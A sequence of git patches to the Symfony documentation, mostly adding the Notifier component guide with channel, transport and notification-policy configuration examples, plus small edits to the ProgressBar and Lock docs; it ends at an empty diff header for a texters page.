From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 5 Feb 2020 08:11:48 +0100
Subject: [PATCH 0247/7107] minor. refs #13027

---
 components/console/helpers/progressbar.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index f13946591f5..1aa4dbfc6e2 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -110,19 +110,19 @@ which starts, advances and finishes the progress bar automatically::
 
     $progressBar = new ProgressBar($output);
 
-    // $iterable can be for example an array ([1, 2, 3, ...])
+    // $iterable can be array
     $iterable = [1, 2];
     foreach ($progressBar->iterate($iterable) as $value) {
         // ... do some work
     }
-    
+
     // or a generator
     function iterable() { yield 1; yield 2; ... };
     foreach ($progressBar->iterate(iterable()) as $value) {
         // ... do some work
     }
 
-If ``$iterable = [1, 2]``, the previous code will output the following:
+The previous code will output:
 
 .. code-block:: text
 

From 3ea0737e1441461d83e630cff7c94412676acf98 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 5 Feb 2020 08:28:50 +0100
Subject: [PATCH 0248/7107] minor. refs #13042

---
 components/lock.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 235167662ec..49f412a8360 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -225,11 +225,8 @@ PHP process is terminated::
     use Symfony\Component\Lock\Store\FlockStore;
 
     // the argument is the path of the directory where the locks are created
-    $store = new FlockStore(sys_get_temp_dir());
-
-.. note::
-
-    If no path is given, ``sys_get_temp_dir`` is used as default value.
+    // if none is given, sys_get_temp_dir() is used internally.
+    $store = new FlockStore('/var/stores');
 
 .. caution::
 

From b23187171027858aa4e05ed5eb9dc476c8f3437d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Mon, 3 Feb 2020 21:32:16 +0100
Subject: [PATCH 0249/7107] Add caution in system+semaphore

---
 components/lock.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 49f412a8360..dd850167652 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -530,6 +530,14 @@ can be two running containers in parallel.
     concurrent process on a new machine, check that other process are stopped
     on the old one.
 
+.. caution::
+
+    When runing on systemd with non-system user with option ``RemoveIPC=yes``
+    (default value), locks are deleted by systemd when that user logs out.
+    Check that process is ran with a system user (UID <= SYS_UID_MAX) with
+    ``SYS_UID_MAX`` defined in ``/etc/login.defs``, or set the option
+    ``RemoveIPC=off`` in ``/etc/systemd/logind.conf``.
+
 Overall
 ~~~~~~~
 

From 5fcedb6dabbaf6225cbb0ee7cd1bcad598ff3f95 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 5 Feb 2020 08:40:54 +0100
Subject: [PATCH 0250/7107] minor. refs #13035

---
 components/lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index dd850167652..01331872cfa 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -532,9 +532,9 @@ can be two running containers in parallel.
 
 .. caution::
 
-    When runing on systemd with non-system user with option ``RemoveIPC=yes``
+    When runing on systemd with non-system user and option ``RemoveIPC=yes``
     (default value), locks are deleted by systemd when that user logs out.
-    Check that process is ran with a system user (UID <= SYS_UID_MAX) with
+    Check that process is run with a system user (UID <= SYS_UID_MAX) with
     ``SYS_UID_MAX`` defined in ``/etc/login.defs``, or set the option
     ``RemoveIPC=off`` in ``/etc/systemd/logind.conf``.
 

From 06f700944af2330573d0455dd7dd09d9e5a98c90 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 2 Feb 2020 13:29:36 +0100
Subject: [PATCH 0251/7107] Add Notifier component documentation

This merges the work of #12678, #12846, #12963 and finishes the main Notifier
guide.
---
 _build/redirection_map  |   1 +
 components/notifier.rst | 220 ----------------
 index.rst               |   1 +
 mailer.rst              |   3 +
 notifier.rst            | 564 +++++++++++++++++++++++++++++++++++++++-
 notifier/chatters.rst   |  92 +++++++
 notifier/texters.rst    |  41 +++
 7 files changed, 693 insertions(+), 229 deletions(-)
 delete mode 100644 components/notifier.rst
 create mode 100644 notifier/chatters.rst
 create mode 100644 notifier/texters.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 5d44f67b39d..e446f199ff9 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -479,3 +479,4 @@
 /components/translation/usage /translation
 /components/translation/custom_formats https://github.com/symfony/translation
 /components/translation/custom_message_formatter https://github.com/symfony/translation
+/components/notifier https://github.com/symfony/notifier
diff --git a/components/notifier.rst b/components/notifier.rst
deleted file mode 100644
index 267b4a80067..00000000000
--- a/components/notifier.rst
+++ /dev/null
@@ -1,220 +0,0 @@
-.. index::
-   single: Notifications
-   single: Components; Notifier
-
-The Notifier Component
-======================
-
-    The Notifier component sends notifications via one or more channels
-    (email, SMS, Slack, ...).
-
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
-
-If you're using the Symfony Framework, read the
-:doc:`Symfony Framework Notifier documentation </notifier>`.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/notifier
-
-.. include:: /components/require_autoload.rst.inc
-
-Email
------
-
-The Notifier component has notify you when something goes wrong::
-
-    use Symfony\Bridge\Twig\Mime\NotificationEmail;
-    use Symfony\Component\Mailer\Mailer;
-    use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport;
-
-    $transport = new EsmtpTransport('localhost');
-    $mailer = new Mailer($transport);
-
-    $email = (new NotificationEmail())
-        ->form('fabien@symfony.com')
-        ->to('fabien@symfony.com')
-        ->exception($exception);
-
-    $mailer->send($email);
-
-The ``$email`` object is created via the :doc:`Mime component </components/mime>`.
-
-And configurable email template::
-
-    $email = (new NotificationEmail())
-        ->htmlEmail('email/system.html.twig')
-        ->textEmail('email/system.txt.twig');
-
-With template::
-
-    {% extends "@email/system.html.twig" %}
-    {% block style %}
-        {{ parent() }}
-        .container.body_alert {
-            border-top: 30px solid #ec5840;
-        }
-    {% endblock %}
-    {% block lines %}
-        This is an automated email for the MyApp application.
-        {{ parent() }}
-    {% endblock %}
-    {% block action %}
-        {{ parent() }}
-        <spacer size="16"></spacer>
-        <button class="secondary" href="https://myapp.com/">Go to MyApp</button>
-    {% endblock %}
-    {% block exception %}{% endblock %}
-    {% block footer_content %}
-        <p><small>&copy; MyApp</small></p>
-    {% endblock %}
-
-
-SMS
----------
-
-Sending SMS Messages the easy way::
-
-    /**
-    * @Route("/checkout/thankyou")
-    */
-    public function thankyou(Texter $texter /* ... */) {
-        $sms = new SmsMessage('+1415999888', 'Revenue has just increased by 1€ per year!');
-        $texter->send($sms);
-
-        return $this->render('checkout/thankyou.html.twig', [
-            // ...
-        ]);
-    }
-
-Below is the list of other popular provider with built-in support:
-
-==================
-Service
-==================
-Telegram
-Nexmo
-Slack
-Twilio
-==================
-
-SMS low-level API::
-
-    $sms = new SmsMessage('+1415999888', 'Revenue has just increased!');
-    $twilio = Transport::fromDsn('twilio://SID:TOKEN@default?from=FROM');
-    $twilio->send($sms);
-    $nexmo = Transport::fromDsn('nexmo://KEY:SECRET@default?from=FROM');
-    $nexmo->send($sms);
-
-SMS... higher-level API::
-
-    $texter = new Texter($twilio, $bus);
-    $texter->send($sms);
-    $transports = new Transports(['twilio' => $twilio, 'nexmo' => $nexmo]);
-    $texter = new Texter($transports, $bus);
-    $texter->send($sms);
-    $sms->setTransport('nexmo');
-    $texter->send($sms);
-    $bus->dispatch($sms);
-
-    $dsn = 'failover(twilio://SID:TOKEN@default?from=FROM nexmo://KEY:SECRET@default?from=FROM)';
-
-Message
----------
-
-Sending Messages the easy way::
-
-    /**
-     * @Route("/checkout/thankyou")
-     */
-    public function thankyou(Chatter $chatter /* ... */)
-    {
-     $message = new ChatMessage('Revenue increased by 1€ per year...');
-        $chatter->send($message);
-        return $this->render('checkout/thankyou.html.twig', [
-            // ...
-        ]);
-    }
-
-Messages low-level API::
-
-    $message = new ChatMessage('Revenue increased by 1€ per year...');
-    $slack = Transport::fromDsn('slack://TOKEN@default?channel=CHANNEL');
-    $slack->send($sms);
-    $telegram = Transport::fromDsn('telegram://TOKEN@default?channel=CHAT_ID');
-    $telegram->send($sms);
-
-Messages higher-level API::
-
-    $transports = Transport::fromDsns([
-        'slack' => 'slack://TOKEN@default?channel=CHANNEL',
-        'telegram' => 'telegram://TOKEN@default?channel=CHAT_ID'
-    ]);
-    $chatter = new Chatter($transports, $bus);
-    $chatter->send($message);
-    $message->setTransport('telegram');
-    $chatter->send($message);
-    $bus->dispatch($message);
-
-    $options = (new SlackOptions())
-        ->iconEmoji('tada')
-        ->iconUrl('https://symfony.com')
-        ->username('SymfonyNext')
-        ->channel($channel)
-        ->block((new SlackSectionBlock())->text('Some Text'))
-        ->block(new SlackDividerBlock())
-        ->block((new SlackSectionBlock())
-            ->text('Some Text in another block')
-            ->accessory(new SlackImageBlockElement('http://placekitten.com/700/500', 'kitten'))
-        )
-    ;
-    $message = new ChatMessage('Default Text', $options);
-
-    $dsn = 'all(slack://TOKEN@default?channel=CHANNEL telegram://TOKEN@default?channel=CHAT_ID)';
-
-Slack Actions Block for Slack Message
--------------------------------------
-
-With a Slack Message you can add some interactive options called `Block elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackTransport;
-    use Symfony\Component\Notifier\Chatter;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    // Initialize a chatter with Slack Transport
-    $chatter = new Chatter(new SlackTransport('token'));
-
-    // Create a message
-    $chatMessage = (new ChatMessage())
-        ->subject('Contribute To Symfony');
-
-    // Create Slack Actions Block and add some buttons
-    $contributeToSymfonyBlocks = (new SlackActionsBlock())
-        ->button(
-            'Improve Documentation',
-            'https://symfony.com/doc/current/contributing/documentation/standards.html',
-            'primary'
-        )
-        ->button(
-            'Report bugs',
-            'https://symfony.com/doc/current/contributing/code/bugs.html',
-            'danger'
-        );
-    $contributeToSymfonyOptions = (new SlackOptions())->block($contributeToSymfonyBlocks);
-
-    // Add the Buttons as Options to the Message
-    $chatMessage->options($contributeToSymfonyOptions);
-
-    // And then send the Message
-    $chatter->send($chatMessage);
-
-
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
diff --git a/index.rst b/index.rst
index ac293625cb9..423b4407cc5 100644
--- a/index.rst
+++ b/index.rst
@@ -47,6 +47,7 @@ Topics
     mercure
     messenger
     migration
+    notifier
     performance
     profiler
     routing
diff --git a/mailer.rst b/mailer.rst
index d407a0568c6..8b57e872ec8 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -12,6 +12,9 @@ integration, CSS inlining, file attachments and a lot more. Get them installed w
 
     $ composer require symfony/mailer
 
+
+.. _mailer-transport-setup:
+
 Transport Setup
 ---------------
 
diff --git a/notifier.rst b/notifier.rst
index 40783e795fd..741529fbf2f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1,22 +1,568 @@
 .. index::
    single: Notifier
 
-Notifier
-========================
+Creating and Sending Notifications
+==================================
 
-Sends notifications via one or more channels (email, SMS, Slack, Telegram, ...)
+.. versionadded:: 5.0
 
+    The Notifier component was introduced in Symfony 5.0 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
 
-Installation
-------------
-
-First, run this command to install the notifier before using it:
+Current web applications use many different channels to send messages to
+the users (e.g. SMS, Slack messages, emails, push notifications, etc.). The
+Notifier component in Symfony is an abstraction on top of all these
+channels. It provides a dynamic way to manage how the messages are send.
+Get the Notifier installed using:
 
 .. code-block:: terminal
 
     $ composer require symfony/notifier
 
+Channels: Chatters, Texters, Email and Browser
+----------------------------------------------
+
+The notifier component can send notifications to different channels. Each
+channel can integrate with different providers (e.g. Slack or Twilio SMS)
+by using transports.
+
+The notifier component supports the following channels:
+
+* `SMS <SMS Channel>`_ sends notifications to phones via SMS messages
+* `Chat <Chat Channel>`_ sends notifications to chat services like Slack
+  and Telegram;
+* `Email <Email Channel>`_ integrating the :doc:`Symfony Mailer </mailer>`;
+* Browser using :ref:`flash messages <flash-messages>`.
+
+.. tip::
+
+    Use :doc:`secrets </configuration/secrets>` to securily store your
+    API's tokens.
+
+.. _notifier-texter-dsn:
+
+SMS Channel
+~~~~~~~~~~~
+
+The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes
+to send SMS messages to mobile phones. This feature requires subscribing to
+a third-party service that sends SMS messages. Symfony provides integration
+with a couple popular SMS services:
+
+=======  ===========================  ========================================
+Service  Package                      DSN
+=======  ===========================  ========================================
+Twilio   ``symfony/twilio-notifier``  ``twilio://SID:TOKEN@default?from=FROM``
+Nexmo    ``symfony/nexmo-notifier``   ``nexmo://KEY:SECRET@default?from=FROM``
+=======  ===========================  ========================================
+
+To enable a texter, add the add the correct DSN in your ``.env`` file and
+configure the ``texter_transports``:
+
+.. code-block:: bash
+
+    # .env
+    TWILIO_DSN=twilio://SID:TOKEN@default?from=FROM
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                texter_transports:
+                    twilio: '%env(TWILIO_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/notifier.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:notifier>
+                    <framework:texter-transport name="twilio">
+                        %env(TWILIO_DSN)%
+                    </framework:texter-transport>
+                </framework:notifier>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        # config/packages/notifier.php
+        $container->loadFromExtension('framework', [
+            'notifier' => [
+                'texter_transports' => [
+                    'twilio' => '%env(TWILIO_DSN)%',
+                ],
+            ],
+        ]);
+
+.. _notifier-chatter-dsn:
+
+Chat Channel
+~~~~~~~~~~~~
+
+The chat channel is used to send chat messages to users by using
+:class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
+integration with these chat services:
+
+========  =============================  ============================================
+Service   Package                        DSN
+========  =============================  ============================================
+Slack     ``symfony/slack-notifier``     ``slack://TOKEN@default?channel=CHANNEL``
+Telegram  ``symfony/telegram-notifier``  ``telegram://TOKEN@default?channel=CHAT_ID``
+========  =============================  ============================================
+
+Chatters are configured using the ``chatter_transports`` setting:
+
+.. code-block:: bash
+
+    # .env
+    SLACK_DSN=slack://TOKEN@default?channel=CHANNEL
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                chatter_transports:
+                    slack: '%env(SLACK_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/notifier.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:notifier>
+                    <framework:chatter-transport name="slack">
+                        %env(SLACK_DSN)%
+                    </framework:chatter-transport>
+                </framework:notifier>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        # config/packages/notifier.php
+        $container->loadFromExtension('framework', [
+            'notifier' => [
+                'chatter_transports' => [
+                    'slack' => '%env(SLACK_DSN)%',
+                ],
+            ],
+        ]);
+
+Email Channel
+~~~~~~~~~~~~~
+
+The email channel uses the :doc:`Symfony Mailer </mailer>` to send
+notifications using the special
+:class:`Symfony\\Bridge\\TwigBridge\\Mime\\NotificationEmail`. It is
+required to install the Twig bridge along with the Inky and CSS Inliner
+Twig extensions:
+
+.. code-block:: terminal
+
+    $ composer require symfony/twig-pack twig/cssinliner-extra twig/inky-extra
+
+After this, :ref:`configure the mailer <mailer-transport-setup>`. You can
+also set the default "from" email address that should be used to send the
+notification emails:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: '%env(MAILER_DSN)%'
+                envelope:
+                    sender: 'notifications@example.com'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:mailer
+                    dsn="%env(MAILER_DSN)%"
+                >
+                    <framework:envelope
+                        sender="notifications@example.com"
+                    />
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        # config/packages/mailer.php
+        $container->loadFromExtension('framework', [
+            'mailer' => [
+                'dsn' => '%env(MAILER_DSN)%',
+                'envelope' => [
+                    'sender' => 'notifications@example.com',
+                ],
+            ],
+        ]);
+
+Configure to use Failover or Round-Robin Transports
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Besides configuring one or more separate transports, you can also use the
+special ``||`` and ``&&`` characters to implement a failover or round-robin
+transport:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                chatter_transports:
+                    # Send notifications to Slack and use Telegram if
+                    # Slack errored
+                    main: '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%'
+
+                    # Always send notifications to both Slack and Telegram
+                    all: '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/notifier.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:notifier>
+                    <!-- Send notifications to Slack and use Telegram if
+                         Slack errored -->
+                    <framework:chatter-transport name="slack">
+                        %env(SLACK_DSN)% || %env(TELEGRAM_DSN)%
+                    </framework:chatter-transport>
+
+                    <!-- Always send notifications to both Slack and Telegram -->
+                    <framework:chatter-transport name="slack">
+                        %env(SLACK_DSN)% && %env(TELEGRAM_DSN)%
+                    </framework:chatter-transport>
+                </framework:notifier>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        # config/packages/notifier.php
+        $container->loadFromExtension('framework', [
+            'notifier' => [
+                'chatter_transports' => [
+                    // Send notifications to Slack and use Telegram if
+                    // Slack errored
+                    'main' => '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%',
+
+                    // Always send notifications to both Slack and Telegram
+                    'all' => '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%',
+                ],
+            ],
+        ]);
+
+Creating & Sending Notifications
+--------------------------------
+
+To send a notification, autowire the
+:class:`Symfony\\Component\\Notifier\\NotifierInterface` (service ID
+``notifier``). This class has a ``send()`` method that allows you to send a
+:class:`Symfony\\Component\\Notifier\\Notification\\Notification` to a
+:class:`Symfony\\Component\\Notifier\\Recipient\\Recipient`::
+
+    // src/Controller/InvoiceController.php
+    namespace App\Controller;
+
+    use Symfony\Component\Notifier\Notification\Notification;
+    use Symfony\Component\Notifier\NotifierInterface;
+    use Symfony\Component\Notifier\Recipient\AdminRecipient;
+
+    class InvoiceController extends AbstractController
+    {
+        /**
+         * @Route("/invoice/create")
+         */
+        public function create(NotifierInterface $notifier)
+        {
+            // ...
+
+            // Create a Notification that has to be sent
+            // using the "email" channel
+            $notification = (new Notification('New Invoice', ['email']))
+                ->content('You got a new invoice for 15 EUR.');
+
+            // The receiver of the Notification
+            $recipient = new AdminRecipient(
+                $user->getEmail(),
+                $user->getPhonenumber()
+            );
+
+            // Send the notification to the recipient
+            $notifier->send($notification, $recipient);
+
+            // ...
+        }
+    }
+
+The ``Notification`` is created by using two arguments: the subject and
+channels. The channels specify which channel (or transport) should be used
+to send the notification. For instance, ``['email', 'sms']`` will send
+both an email and sms notification to the user. It is required to specify
+the transport when using chatters (e.g. ``['email', 'chat/telegram']``).
+
+The default notification also has a ``content()`` and ``emoji()`` method to
+set the notification content and icon.
+
+Symfony provides three types of recipients:
+
+:class:`Symfony\\Component\\Notifier\\Recipient\\NoRecipient``
+    This is the default and is useful when there is no need to have
+    information about the receiver. For example, the browser channel uses
+    the current requests's :ref:`session flashbag <flash-messages>`;
+
+:class:`Symfony\\Component\\Notifier\\Recipient\\Recipient``
+    This contains only the email address of the user and can be used for
+    messages on the email and browser channel;
+
+:class:`Symfony\\Component\\Notifier\\Recipient\\AdminRecipient``.
+    This can contain both email address and phonenumber of the user. This
+    recipient can be used for all channels (depending on whether they are
+    actually set).
+
+Configuring Channel Policies
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Instead of specifying the target channels on creation, Symfony also allows
+you to use notification importance levels. Update the configuration to
+specify what channels should be used for specific levels (using
+``channel_policy``):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                # ...
+                channel_policy:
+                    # Use SMS, Slack and email for urgent notifications
+                    urgent: ['sms', 'chat/slack', 'email']
+
+                    # Use Slack for highly important notifications
+                    high: ['chat/slack']
+
+                    # Use browser for medium and low notifications
+                    medium: ['browser']
+                    low: ['browser']
+
+    .. code-block:: xml
+
+        <!-- config/packages/notifier.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:notifier>
+                    <!-- ... -->
+
+                    <framework:channel-policy>
+                        <!-- Use SMS, Slack and Email for urgent notifications -->
+                        <framework:urgent>sms</framework:urgent>
+                        <framework:urgent>chat/slack</framework:urgent>
+                        <framework:urgent>email</framework:urgent>
+
+                        <!-- Use Slack for highly important notifications -->
+                        <framework:high>chat/slack</framework:high>
+
+                        <!-- Use browser for medium and low notifications -->
+                        <framework:medium>browser</framework:medium>
+                        <framework:low>browser</framework:low>
+                    </framework:channel-policy>
+                </framework:notifier>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        # config/packages/notifier.php
+        $container->loadFromExtension('framework', [
+            'notifier' => [
+                // ...
+                'channel_policy' => [
+                    // Use SMS, Slack and email for urgent notifications
+                    'urgent' => ['sms', 'chat/slack', 'email'],
+
+                    // Use Slack for highly important notifications
+                    'high' => ['chat/slack'],
+
+                    // Use browser for medium and low notifications
+                    'medium' => ['browser'],
+                    'low' => ['browser'],
+                ],
+            ],
+        ]);
+
+Now, whenever the notification's importance is set to "high", it will be
+sent using the Slack transport::
+
+    // ...
+    class InvoiceController extends AbstractController
+    {
+        /**
+         * @Route("/invoice/create")
+         */
+        public function invoice(NotifierInterface $notifier)
+        {
+            // ...
+
+            $notification = (new Notification('New Invoice'))
+                ->content('You got a new invoice for 15 EUR.')
+                ->importance(Notification::IMPORTANCE_HIGH);
+
+            $notifier->send($notification, new Recipient('wouter@wouterj.nl'));
+
+            // ...
+        }
+    }
+
+Customize Notifications
+-----------------------
+
+You can extend the ``Notification`` or ``Recipient`` base classes to
+customize their behavior. For instance, you can overwrite the
+``getChannels()`` method to only return ``sms`` if the invoice price is
+very high and the recipient has a phonenumber::
+
+    namespace App\Notifier;
+
+    use Symfony\Component\Notifier\Notification\Notification;
+    use Symfony\Component\Notifier\Recipient\Recipient;
+
+    class InvoiceNotification extends Notification
+    {
+        private $price;
+
+        public function __construct(int $price)
+        {
+            $this->price = $price;
+        }
+
+        public function getChannels(Recipient $recipient)
+        {
+            if (
+                $this->price > 10000
+                && $recipient instanceof AdminRecipient
+                && null !== $recipient->getPhone()
+            ) {
+                return ['sms', 'email'];
+            }
+
+            return 'email';
+        }
+    }
+
+Customize Notification Messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Each channel has its own notification interface that you can implement to
+customize the notification message. For instance, if you want to modify the
+message based on the chat service, implement
+:class:`Symfony\\Component\\Notifier\\Notification\\ChatNotificationInterface`
+and its ``asChatMessage()`` method::
+
+    // src/Notifier/InvoiceNotification.php
+    namespace App\Notifier;
+
+    use Symfony\Component\Notifier\Message\ChatMessage;
+    use Symfony\Component\Notifier\Notification\ChatNotificationInterface;
+    use Symfony\Component\Notifier\Notification\Notification;
+    use Symfony\Component\Notifier\Recipient\Recipient;
+
+    class InvoiceNotification extends Notification implements ChatNotificationInterface
+    {
+        private $price;
+
+        public function __construct(int $price)
+        {
+            $this->price = $price;
+        }
+
+        public function asChatMessage(Recipient $recipient, string $transport = null): ?ChatMessage
+        {
+            // Add a custom emoji if the message is sent to Slack
+            if ('slack' === $transport) {
+                return (new ChatMessage('You\'re invoiced '.$this->price.' EUR.'))
+                    ->emoji('money');
+            }
+
+            // If you return null, the Notifier will create the ChatMessage
+            // based on this notification as it would without this method.
+            return null;
+        }
+    }
+
+The
+:class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`
+and
+:class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
+also exists to modify messages send to those channels.
+
+.. TODO
+    - Using the message bus for asynchronous notification
+    - Describe notifier monolog handler
+    - Describe notification_on_failed_messages integration
+
+Learn more
+----------
 
-Usage
-------------
+.. toctree::
+    :maxdepth: 1
+    :glob:
 
+    notifier/*
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
new file mode 100644
index 00000000000..4850c96e0e8
--- /dev/null
+++ b/notifier/chatters.rst
@@ -0,0 +1,92 @@
+.. index::
+    single: Notifier; Chatters
+
+How to send Chat Messages
+=========================
+
+.. versionadded:: 5.0
+
+    The Notifier component was introduced in Symfony 5.0 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
+you to sent messages to chat services like Slack or Telegram::
+
+    // src/Controller/CheckoutController.php
+    namespace App\Controller;
+
+    use Symfony\Component\Notifier\Notification\Notification;
+    use Symfony\Component\Notifier\NotifierInterface;
+    use Symfony\Component\Notifier\Recipient\AdminRecipient;
+
+    class CheckoutController extends AbstractController
+    {
+        /**
+         * @Route("/checkout/thankyou")
+         */
+        public function thankyou(ChatterInterface $chatter)
+        {
+            $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
+                // if not set explicitly, the message is send to the
+                // default transport (the first one configured)
+                ->transport('slack');
+
+            $chatter->send($message);
+
+            // ...
+        }
+    }
+
+.. seealso::
+
+    Read :ref:`the main Notifier guide <notifier-chatter-dsn>` to see how
+    to configure the different transports.
+
+Adding Interactions to a Slack Message
+--------------------------------------
+
+With a Slack message, you can use the 
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` to add
+some interactive options called `Block elements`_::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Contribute To Symfony');
+
+    // Create Slack Actions Block and add some buttons
+    $contributeToSymfonyBlocks = (new SlackActionsBlock())
+        ->button(
+            'Improve Documentation',
+            'https://symfony.com/doc/current/contributing/documentation/standards.html',
+            'primary'
+        )
+        ->button(
+            'Report bugs',
+            'https://symfony.com/doc/current/contributing/code/bugs.html',
+            'danger'
+        );
+
+    $slackOptions = (new SlackOptions())
+        ->block((new SlackSectionBlock())
+            ->text('The Symfony Community')
+            ->accessory(
+                new SlackImageBlockElement(
+                    'https://example.com/symfony-logo.png',
+                    'Symfony'
+                )
+            )
+        )
+        ->block(new SlackDividerBlock())
+        ->block($contributeToSymfonyBlocks);
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($slackOptions);
+
+    $chatter->send($chatMessage);
+
+.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
diff --git a/notifier/texters.rst b/notifier/texters.rst
